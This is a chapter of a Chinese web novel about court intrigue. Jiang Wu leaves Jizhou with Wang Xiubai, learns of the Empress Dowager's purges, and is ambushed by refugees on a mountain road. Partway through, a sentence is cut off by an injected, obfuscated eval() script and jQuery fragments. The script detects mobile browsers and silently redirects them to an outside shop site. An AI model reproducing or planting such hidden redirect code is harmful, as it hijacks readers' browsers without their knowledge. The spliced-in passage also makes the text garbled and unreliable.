“不愿意。”姜芜回答得铿锵有力,眼神略过时闪着星光。她无力自保时,事事得依附他人。卑躬屈膝也好,忍气吞声也好,总归是求人有求人的姿态。
可人生在世,谁也不能永远的倚靠谁,谁都不会是谁一辈子的庇佑。
“我不想成为谁的附庸,我有牵挂,有想要保护的人。”
她亲手撕开这柄保护伞,将自己置于苍穹下。不管后来路有多难,有多少风雨等她,她都不要怕。
“一味的屈于人之后,成为任人宰割的鱼肉。没有选择权力,甚至连自保都成困难。我不想这样,也不愿意一直胆小怕事的让人替我承受因果。”
她有些难过。
一腔孤勇,往前走就好了。只此一生,不过“死”“生”二字,无惧,无忧,亦无怖。
“苏无言,今夜的事我们一笔勾销。三王爷为了逼你选择,拿我做局,而你也救了我,我们两清,互不相欠。从此大道朝天。”
苏无言被“互不相欠”刺痛,衣袍下手指紧握,要捏碎骨头。
姜芜去寻了王岫白,此时正在院里大发脾气。见姜芜,也没好耐心,金的,玉的摔了一地。
“何必和钱财过不去,你摔的这一地,足够寻常人家丰衣足食的过好些年。”姜芜将满地的金银玉器捡起,谴退下人,问∶“我打算明日离开蓟州,你何时回去?”
王岫白愠怒难消,道∶“这些东西摔了便摔了,有什么可惜的?你我出身,难道摔个东西还得估摸着它的价值?”
“我真不知你都经历了什么,现在竟这样计较得失,明里暗里算计着因果。”王岫白讽刺道。姜芜不与她生气,只将这些真金白银的东西收好,有些摔坏的也小心捡起,虽不如完整的值钱,却也足够换些银两。
“出门在外,诸多难处,你今日还有家族可倚仗,自然不知民生疾苦,等哪日离了这些光鲜,就会明白。”
王岫白瞧不上姜芜的话,但懒得计较,只粗粗略过,回答她上一个问题,“你要找的人还没找到,不多等几日?还有,我说了,与你一道离开,往西出发,你休想甩掉我。”
姜芜思忖后答道∶“该是等不到了,若是从稽灵山下来,只有东西两道,这几日来我们没等到消息。他们要是下了山,许是往西边去了。”
稽灵山原本东西南北四道,但山火蔓延,烧了南北两道,导致山路封锁,这几日寻山无果,最大可能是下了山直往西去了。
姜芜回去时已经接近子时,她翻来覆去的辗转难眠。她不敢戳破沈清安的身份,只怕他早有谋划,与三王爷接近,是三王爷身上存了什么秘密?还是和皇权牵扯不断?
沈临翊多年来给人印象是纵情山水,不问朝政。依王岫白的话只怕早就与王家交好,而沈清安的试探是什么?那东西对三王爷和朝廷究竟意味什么?姜芜猜测很多,始终没理清其中关联。
可如果沈临翊觊觎皇位,在沈清安下落不明,甚至连太后都断言他死了时,为何不趁机坐上高位?
他可以名正言顺的。
甚至朝中有不少拥立沈临翊的人。
姜芜一边推断一边否定,在不断怀疑和猜测中迷迷糊糊睡去。
苏无言隐在暗处,遥遥望着姜芜院中的烛火熄灭。
长风将东西完整的递到沈清安手里,顺着他的目光看去,院落里寂寥无声。
“幸好司徒渊去得及时,刚找到东西,三王爷的人就上了山,他在山中躲了两日,才避开追兵。他说他在进入鄂州的驿站等你们。”
沈清安打开盒子,看了眼里面呈放的东西。为了此物,他们兵行险招,甚至差点丢了性命。他拿了东西,将盒子递给长风,问道∶“林无隅可有下落了?”
长风蓦然一怔,目光又紧紧的落到姜芜居住的院落。在得知姜芜并没有死时他也极高兴,甚至松了气。可后来主子总被她牵动,有意无意的,有时连自己的性命也不顾,不免又生了情绪。
再说那林无隅,放着好好的仕途不走,偏要什么闯荡江湖,带着他那蹩脚的三脚猫功夫,连自己都护不好,还想护住谁?
长风道∶“他有几分聪明,被司徒渊救下后,带着一群人往西边去了。他不知道贵……夫人在蓟州等他,这时快到石林村了。”
石林村是蓟州下的一个村落。
沈清安点头。
长风欲言又止,扭扭捏捏的长叹着气。
沈清安∶“有什么话就说。”
长风抿着唇,眉头紧锁∶“属下实在郁结于心,有些话不知当讲不当讲。”
看他为难,沈清安给他做了决定,“既不知该不该讲就别讲了,思虑好了再讲。若不是什么要紧的话,就让它一直郁结于心。”
长风瘪了瘪嘴。
“我想好了,这事还得说。”长风道。
沈清安停下步子,等他开口。
长风低声道∶“前些日我去了西北,您留在西北的暗卫训练有素,这些年就算远在西北,没有您的监督也丝毫没有懈怠……”
沈清安揉了揉额,道∶“说重点。”
长风顿了顿,脑中快速过滤,精炼提取后,道∶“您当真要将这样一支纪律严明,攻无不克的暗卫给夫人?”
“那可是先皇后留给您的,作为最后……”
“你觉得我的身体还有用到他们的时候吗?”
“最艰难的时候都过去了,只是我的身体到不了那个时候,不如留给她。”
“长风,”沈清安忽然收起了音,几分怅然,神情低落。
长风蓦然应道∶“您,您说。”
“若哪日我走了,你,要护好她。”
长风心脏一紧,眼眶盈了水珠,喉头梗塞,“您说什么呢!有我在,还有老黄头,他医术高超,能抑制住您体内的毒,假以时日也定能解毒的!您,别说这种话了!”他声音逐渐低下去,也知道其中艰难,甚至无解。但他始终抱着一丝希望,就算只有渺茫的一点,他也想抓住。
他百毒不侵,大不了他给他换血!
这种话他曾经也给老黄头说过,只得到老黄头无奈的叹息。
后来他再不说了。
长风隐到角落,将自己彻底置身黑暗时才任由眼泪落下。捂着嘴,不让声音落到沈清安耳中。
姜芜辞别后带着王岫白一路往西。
她实在不懂王岫白为何要跟着自己?先不说自己被满城通缉,就算隔着这一层,她如今也是个手无寸铁,囊中羞涩的普通百姓。
王岫白似乎兴致盎然,一路上也没给她甩脸色,笑盈盈的盯着窗外。
“你想问什么就问,别成天一副审视的模样,我又不是犯人,不喜欢你这样看我。”王岫白放下车帘,将窗外的风声闭在车外。
她敛起笑,眉间似是不满,但始终未发作。姜芜只当她是收了性情,开口道∶“你离宫几日,这般从容,想来相辅大人是知晓的?”
王岫白∶“我走时父亲并不知晓,但这会儿他该是知道的。我留了书信给父亲。”
“还有,你不用担心我被发现连累你,宫中我有耳目。而且我既然能安然无恙的出来,自然有我自己的法子,届时也定会安然无恙的回去。你可放心,只好好与我走这一程。”
姜芜问∶“你闹这一出必然会给相辅大人带来麻烦,到时不怕累及家族?”
王岫白冷了脸。女子多是身不由己。便是现在,她也有诸多不得已的地方,后宫前朝千丝万缕。她活在家族的荫庇下,又被要求反哺家族。她自小被约束,被教导。
王岫白苦笑道∶“我当然知道,但我现在做的,也是为了家族。”
“你以为安分守己的守在宫中我王家便能高枕无忧,就不会遭太后清算?”
姜芜想过这一层,但没料到王岫白竟拎得如此清,跋扈之下还有一颗玲珑心。
王岫白继续道∶“你我在宫中虽不对付,但我却并不将你视作宿敌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566927|139802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,如今镇北侯府遭了难,你又……如此境地,我不想再趁人之危。今日我与你说的,你也尽可考虑,若觉得有三分道理,早些做打算吧。”
姜芜心下一惊,她看向王岫白的眼多了几分考量。
王岫白∶“你看着我王家如日中天,手握重权,恰是如此,太后下一步要清理的便是我王家。如今陛下生死不明,太后总揽大权,有另立储君之意。只是碍于百姓舆论,这才迟迟未定。可,大势下去,漆家一家之言是迟早的事,而朝中凡有反对的声音,都将会被清理。”
她眼神空明,谈起朝廷政事清晰明了,毫不模糊。
“你不知,从太岳山一事后,朝中人人自危,连我父亲也被逼着不得不战队。原先我父亲还想中立不倚,混个致仕还乡。可太后不许啊,自觉将我父亲归为拥皇党,虽然也无可厚非。”王岫白苦笑一声。
“而与我父亲交往过密的,也被太后记恨。现在朝中混乱得很呢。我出宫来寻陛下,实则也是父亲暗自应允过的。”
“没想到皇城已经乱到如此地步了。”姜芜低声喃喃。太后势大,绝然不会放过他们。
“那,镇北侯府呢?”姜芜升起忧虑,父亲战死,她又“殒命”太岳山,镇北侯府没了主心骨,会不会……
王岫白冷哼∶“太后早有铲除镇北侯府的心思,能苟延残喘到今日已经是你镇北侯府的极限。不过,现在太后的重心不在此,另立储君才是她首要紧的事。”
姜芜问∶“前些日的皇义军是你们安排的?”
王岫白有些吃惊,道∶“并非。原本我父亲是想着用舆论造势,可还没开始,京都已经自发组建了一支队伍,势要一个真相,同时一定程度上也牵制了太后的动作。”
姜芜∶“如你所说,现在朝廷大概分为两股势力,一方是坚决以太后为尊,一方是临时被划为拥皇党的朝臣。两股势力势均力敌,相互钳制,才掣肘了太后的下一步动作?”
王岫白点头又摇头,“现在看来是这样,可拥皇党始终不明晰,而且其中不乏见风使舵的,本就存了另寻他主的心思,不过在等陛下确切驾崩的消息而已。”她伤感的垂下头,眼里含了泪,不仅是对家族存亡,命运渺茫的叹息,其中也不乏含了几分对沈清安的真情。
姜芜想着什么,又犹豫着是否要告诉沈清安,但转念一想,自己能知道的,他怎会不知。既然他隐姓埋名,自然有他的打算,自己还是莫要打草惊蛇,误了他的计划。
王岫白抬头,看姜芜的眼色有几分同情,道∶“我既告知你了,你早做打算,趁现在局势还不明朗,将家中亲人安排妥当,也……免了后顾之忧。”
越到后头王岫白说得越发没了底气。天下之大,莫非王土,即便是逃又能逃到哪里?如今之举,非圣上能破。若能早些找到圣上,或许还有得希望。
姜芜叹息道∶“你也心知的,哪里逃得掉。我去兖州也是为此,只望家中亲人能等我回去。”
离开蓟州后走了一截官道,再往西走只有山路。路上颠簸,王岫白没了起先的兴致,晕头转向,脸色煞白。
姜芜见她实在难受,让车夫停了边。
“姑,姑娘。”车夫结结巴巴的朝里喊道,慌张的驱赶马掉头,惊慌失措。
姜芜才将王岫白安顿好些,这时又听到车外一阵响动,加之车夫手忙脚乱的失了镇定,心下不免开始慌乱。
她有自己的习惯,出门在外总要有些可靠的傍身,银钱是一方面,在择人时也尽可能的挑选些五大三粗,面目凶猛的。
只是这会儿连马夫也慌了神,她不由的往坏处想。掀开车帘,往上瞧去,只见乌泱泱的一片人群涌动,朝他们的方向过来。
马儿受了惊,慌乱逃窜,车里的她们遭了罪,直直的将她们甩出马车。
姜芜赶忙将身上的行囊扔过去,干粮,金银细软的全部抛了出去。又去灌丛中寻了一枝趁手的木棍。
她们遇上流民了。